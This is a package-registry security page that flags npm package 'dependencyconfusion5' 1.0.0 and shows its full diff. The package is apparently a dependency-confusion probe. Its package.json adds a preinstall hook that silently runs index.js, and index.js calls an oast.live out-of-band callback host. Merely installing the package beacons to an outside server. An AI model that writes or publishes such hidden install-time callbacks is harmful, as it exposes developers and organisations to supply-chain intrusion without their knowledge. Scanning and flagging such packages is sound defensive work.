dependencyconfusion5 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of dependencyconfusion5 might be problematic. Click here for more details.
- package/index.js +16 -0
- package/package.json +12 -0
package/index.js
ADDED
@@ -0,0 +1,16 @@
|
|
1
|
+
function stringToHex(str)
|
2
|
+
{
|
3
|
+
const buf = Buffer.from(str, 'utf8');
|
4
|
+
return buf.toString('hex');
|
5
|
+
}
|
6
|
+
|
7
|
+
const url = `https://depenconf5.cp6ncglqburjov5thgegu489rxikay6en.oast.live/`;
|
8
|
+
fetch(url, {
|
9
|
+
headers: {
|
10
|
+
"User-Agent": "DepenConf",
|
11
|
+
},
|
12
|
+
})
|
13
|
+
.then((response) => response.json())
|
14
|
+
.then(data => {
|
15
|
+
console.log(data);
|
16
|
+
})
|
package/package.json
ADDED
@@ -0,0 +1,12 @@
|
|
1
|
+
{
|
2
|
+
"name": "dependencyconfusion5",
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "test",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node index.js > /dev/null 2>&1",
|
8
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
9
|
+
},
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC"
|
12
|
+
}
|